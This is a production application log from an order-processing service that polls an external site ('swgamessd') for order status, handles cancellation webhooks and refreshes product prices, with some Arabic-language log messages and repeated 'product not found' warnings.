[2026-03-24 04:18:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"E13ejZ5YeMNaqx0SfvaOWt386T1CFhon","execution_time":"2026-03-24 04:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:18:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"E13ejZ5YeMNaqx0SfvaOWt386T1CFhon","execution_time":"2026-03-24 04:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:20:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"a8WHbdqoriJt6gThBFtUZJZ0Qdcpd7qX","execution_time":"2026-03-24 04:20:03"} 
[2026-03-24 04:20:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"a8WHbdqoriJt6gThBFtUZJZ0Qdcpd7qX","execution_time":"2026-03-24 04:20:03","total_operations":4,"sites_count":1} 
[2026-03-24 04:20:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"a8WHbdqoriJt6gThBFtUZJZ0Qdcpd7qX","execution_time":"2026-03-24 04:20:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:20:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"a8WHbdqoriJt6gThBFtUZJZ0Qdcpd7qX","execution_time":"2026-03-24 04:20:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:20:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"a8WHbdqoriJt6gThBFtUZJZ0Qdcpd7qX","execution_time":"2026-03-24 04:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:20:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"a8WHbdqoriJt6gThBFtUZJZ0Qdcpd7qX","execution_time":"2026-03-24 04:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:20:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"a8WHbdqoriJt6gThBFtUZJZ0Qdcpd7qX","execution_time":"2026-03-24 04:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:20:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"a8WHbdqoriJt6gThBFtUZJZ0Qdcpd7qX","execution_time":"2026-03-24 04:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:20:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"a8WHbdqoriJt6gThBFtUZJZ0Qdcpd7qX","execution_time":"2026-03-24 04:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:20:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"a8WHbdqoriJt6gThBFtUZJZ0Qdcpd7qX","execution_time":"2026-03-24 04:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 04:20:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"a8WHbdqoriJt6gThBFtUZJZ0Qdcpd7qX","execution_time":"2026-03-24 04:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:20:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"a8WHbdqoriJt6gThBFtUZJZ0Qdcpd7qX","execution_time":"2026-03-24 04:20:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:20:03] production.INFO: Executing GetProducts task...  
[2026-03-24 04:20:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 04:20:03] production.INFO: Executing GetProducts task...  
[2026-03-24 04:20:05] production.INFO: async() رجع: true  
[2026-03-24 04:20:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 04:20:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 04:20:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 04:20:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 04:20:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 04:20:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 04:20:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 04:20:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 04:20:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 04:20:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 04:20:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 04:22:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"GuRGm2tedDdGPTI9a8Of739KlMIFqA2Z","execution_time":"2026-03-24 04:22:00"} 
[2026-03-24 04:22:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"GuRGm2tedDdGPTI9a8Of739KlMIFqA2Z","execution_time":"2026-03-24 04:22:00","total_operations":4,"sites_count":1} 
[2026-03-24 04:22:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"GuRGm2tedDdGPTI9a8Of739KlMIFqA2Z","execution_time":"2026-03-24 04:22:00","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:22:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"GuRGm2tedDdGPTI9a8Of739KlMIFqA2Z","execution_time":"2026-03-24 04:22:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:22:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"GuRGm2tedDdGPTI9a8Of739KlMIFqA2Z","execution_time":"2026-03-24 04:22:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:22:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GuRGm2tedDdGPTI9a8Of739KlMIFqA2Z","execution_time":"2026-03-24 04:22:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:22:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GuRGm2tedDdGPTI9a8Of739KlMIFqA2Z","execution_time":"2026-03-24 04:22:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:22:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GuRGm2tedDdGPTI9a8Of739KlMIFqA2Z","execution_time":"2026-03-24 04:22:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:22:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GuRGm2tedDdGPTI9a8Of739KlMIFqA2Z","execution_time":"2026-03-24 04:22:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:22:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"GuRGm2tedDdGPTI9a8Of739KlMIFqA2Z","execution_time":"2026-03-24 04:22:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 04:22:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"GuRGm2tedDdGPTI9a8Of739KlMIFqA2Z","execution_time":"2026-03-24 04:22:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:22:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"GuRGm2tedDdGPTI9a8Of739KlMIFqA2Z","execution_time":"2026-03-24 04:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:24:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"6PIzD0hss278YOB8JiCXrzCPsLQIgzhD","execution_time":"2026-03-24 04:24:01"} 
[2026-03-24 04:24:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"6PIzD0hss278YOB8JiCXrzCPsLQIgzhD","execution_time":"2026-03-24 04:24:01","total_operations":4,"sites_count":1} 
[2026-03-24 04:24:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6PIzD0hss278YOB8JiCXrzCPsLQIgzhD","execution_time":"2026-03-24 04:24:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:24:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6PIzD0hss278YOB8JiCXrzCPsLQIgzhD","execution_time":"2026-03-24 04:24:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:24:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6PIzD0hss278YOB8JiCXrzCPsLQIgzhD","execution_time":"2026-03-24 04:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:24:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6PIzD0hss278YOB8JiCXrzCPsLQIgzhD","execution_time":"2026-03-24 04:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:24:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6PIzD0hss278YOB8JiCXrzCPsLQIgzhD","execution_time":"2026-03-24 04:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:24:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6PIzD0hss278YOB8JiCXrzCPsLQIgzhD","execution_time":"2026-03-24 04:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:24:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6PIzD0hss278YOB8JiCXrzCPsLQIgzhD","execution_time":"2026-03-24 04:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:24:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6PIzD0hss278YOB8JiCXrzCPsLQIgzhD","execution_time":"2026-03-24 04:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 04:24:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6PIzD0hss278YOB8JiCXrzCPsLQIgzhD","execution_time":"2026-03-24 04:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:24:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"6PIzD0hss278YOB8JiCXrzCPsLQIgzhD","execution_time":"2026-03-24 04:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 04:25:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 04:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 04:25:03] production.INFO: async() رجع: true  
[2026-03-24 04:25:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 04:25:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 04:25:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 04:25:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 04:25:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 04:25:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 04:25:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 04:25:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 04:25:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 04:25:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 04:25:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 04:26:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"YRFzwzBGoMVSnYIDSVyaqY3HEf1bEuBZ","execution_time":"2026-03-24 04:26:01"} 
[2026-03-24 04:26:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"YRFzwzBGoMVSnYIDSVyaqY3HEf1bEuBZ","execution_time":"2026-03-24 04:26:01","total_operations":4,"sites_count":1} 
[2026-03-24 04:26:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"YRFzwzBGoMVSnYIDSVyaqY3HEf1bEuBZ","execution_time":"2026-03-24 04:26:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:26:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"YRFzwzBGoMVSnYIDSVyaqY3HEf1bEuBZ","execution_time":"2026-03-24 04:26:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:26:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"YRFzwzBGoMVSnYIDSVyaqY3HEf1bEuBZ","execution_time":"2026-03-24 04:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YRFzwzBGoMVSnYIDSVyaqY3HEf1bEuBZ","execution_time":"2026-03-24 04:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YRFzwzBGoMVSnYIDSVyaqY3HEf1bEuBZ","execution_time":"2026-03-24 04:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YRFzwzBGoMVSnYIDSVyaqY3HEf1bEuBZ","execution_time":"2026-03-24 04:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YRFzwzBGoMVSnYIDSVyaqY3HEf1bEuBZ","execution_time":"2026-03-24 04:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:26:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"YRFzwzBGoMVSnYIDSVyaqY3HEf1bEuBZ","execution_time":"2026-03-24 04:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 04:26:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"YRFzwzBGoMVSnYIDSVyaqY3HEf1bEuBZ","execution_time":"2026-03-24 04:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:26:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"YRFzwzBGoMVSnYIDSVyaqY3HEf1bEuBZ","execution_time":"2026-03-24 04:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:28:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"nTJ61GLyJaAoZDGtBJPxROLl6GhfJyXJ","execution_time":"2026-03-24 04:28:01"} 
[2026-03-24 04:28:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"nTJ61GLyJaAoZDGtBJPxROLl6GhfJyXJ","execution_time":"2026-03-24 04:28:01","total_operations":4,"sites_count":1} 
[2026-03-24 04:28:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"nTJ61GLyJaAoZDGtBJPxROLl6GhfJyXJ","execution_time":"2026-03-24 04:28:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 04:28:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"nTJ61GLyJaAoZDGtBJPxROLl6GhfJyXJ","execution_time":"2026-03-24 04:28:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:28:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"nTJ61GLyJaAoZDGtBJPxROLl6GhfJyXJ","execution_time":"2026-03-24 04:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 04:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"nTJ61GLyJaAoZDGtBJPxROLl6GhfJyXJ","execution_time":"2026-03-24 04:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"nTJ61GLyJaAoZDGtBJPxROLl6GhfJyXJ","execution_time":"2026-03-24 04:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 04:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"nTJ61GLyJaAoZDGtBJPxROLl6GhfJyXJ","execution_time":"2026-03-24 04:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 04:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"nTJ61GLyJaAoZDGtBJPxROLl6GhfJyXJ","execution_time":"2026-03-24 04:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:28:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"nTJ61GLyJaAoZDGtBJPxROLl6GhfJyXJ","execution_time":"2026-03-24 04:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 04:28:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"nTJ61GLyJaAoZDGtBJPxROLl6GhfJyXJ","execution_time":"2026-03-24 04:28:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 04:28:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"nTJ61GLyJaAoZDGtBJPxROLl6GhfJyXJ","execution_time":"2026-03-24 04:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:29:10] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-gbEh8x-1774267314","status":"cancelled","notes":[],"codes":[]}} 
[2026-03-24 04:29:10] production.INFO: Processed webhook data (normalized) {"id":"ORD-gbEh8x-1774267314","status":"cancelled","codes":[],"notes":[]} 
[2026-03-24 04:29:10] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 04:29:10] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"order_rejected","reference_id":177676} 
[2026-03-24 04:29:10] production.INFO: Order updated successfully. Order ID: 177676, Status: rejected  
[2026-03-24 04:29:10] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-gbEh8x-1774267314","status":"rejected","codes_count":0} 
[2026-03-24 04:29:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 04:29:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 04:29:45] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-gloNR-1774269732","status":"cancelled","notes":[],"codes":[]}} 
[2026-03-24 04:29:45] production.INFO: Processed webhook data (normalized) {"id":"ORD-gloNR-1774269732","status":"cancelled","codes":[],"notes":[]} 
[2026-03-24 04:29:45] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 04:29:45] production.INFO: SendAcceptReject: Notification queued {"user_id":1133,"notification_type":"order_rejected","reference_id":177749} 
[2026-03-24 04:29:45] production.INFO: Order updated successfully. Order ID: 177749, Status: rejected  
[2026-03-24 04:29:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-gloNR-1774269732","status":"rejected","codes_count":0} 
[2026-03-24 04:29:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1133  
[2026-03-24 04:29:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1133  
[2026-03-24 04:30:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"TFoiQUH0qQphC0Vp23xyUSJfyoScuvFo","execution_time":"2026-03-24 04:30:02"} 
[2026-03-24 04:30:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"TFoiQUH0qQphC0Vp23xyUSJfyoScuvFo","execution_time":"2026-03-24 04:30:02","total_operations":2,"sites_count":1} 
[2026-03-24 04:30:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"TFoiQUH0qQphC0Vp23xyUSJfyoScuvFo","execution_time":"2026-03-24 04:30:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-OdQl-1774269709","ORD-ccF-1774273795"]} 
[2026-03-24 04:30:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"TFoiQUH0qQphC0Vp23xyUSJfyoScuvFo","execution_time":"2026-03-24 04:30:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 04:30:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-OdQl-1774269709","status":"cancelled","notes":[],"codes":[]}} 
[2026-03-24 04:30:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-OdQl-1774269709","status":"cancelled","codes":[],"notes":[]} 
[2026-03-24 04:30:03] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 04:30:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1133,"notification_type":"order_rejected","reference_id":177747} 
[2026-03-24 04:30:03] production.INFO: Order updated successfully. Order ID: 177747, Status: rejected  
[2026-03-24 04:30:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-OdQl-1774269709","status":"rejected","codes_count":0} 
[2026-03-24 04:30:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"TFoiQUH0qQphC0Vp23xyUSJfyoScuvFo","execution_time":"2026-03-24 04:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 04:30:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TFoiQUH0qQphC0Vp23xyUSJfyoScuvFo","execution_time":"2026-03-24 04:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 04:30:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"TFoiQUH0qQphC0Vp23xyUSJfyoScuvFo","execution_time":"2026-03-24 04:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 04:30:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"TFoiQUH0qQphC0Vp23xyUSJfyoScuvFo","execution_time":"2026-03-24 04:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 04:30:03] production.ERROR: Operation not found for external_order: ORD-OdQl-1774269709 in chunk 1 {"job":"Quryjob","job_id":"TFoiQUH0qQphC0Vp23xyUSJfyoScuvFo","execution_time":"2026-03-24 04:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:30:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"TFoiQUH0qQphC0Vp23xyUSJfyoScuvFo","execution_time":"2026-03-24 04:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"chunk_number":1,"processed":0,"errors":1,"total_operations":0,"total_orders":0,"total_codes":0,"total_refunds":0} 
[2026-03-24 04:30:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"TFoiQUH0qQphC0Vp23xyUSJfyoScuvFo","execution_time":"2026-03-24 04:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"total_processed":0,"total_errors":1,"chunks_processed":1} 
[2026-03-24 04:30:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"TFoiQUH0qQphC0Vp23xyUSJfyoScuvFo","execution_time":"2026-03-24 04:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":1} 
[2026-03-24 04:30:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"TFoiQUH0qQphC0Vp23xyUSJfyoScuvFo","execution_time":"2026-03-24 04:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":1} 
[2026-03-24 04:30:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"TFoiQUH0qQphC0Vp23xyUSJfyoScuvFo","execution_time":"2026-03-24 04:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 04:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 04:30:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 04:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 04:30:05] production.INFO: async() رجع: true  
[2026-03-24 04:30:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 04:30:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 04:30:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 04:30:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 04:30:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 04:30:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 04:30:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 04:30:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 04:30:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 04:30:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 04:30:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 04:30:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1133  
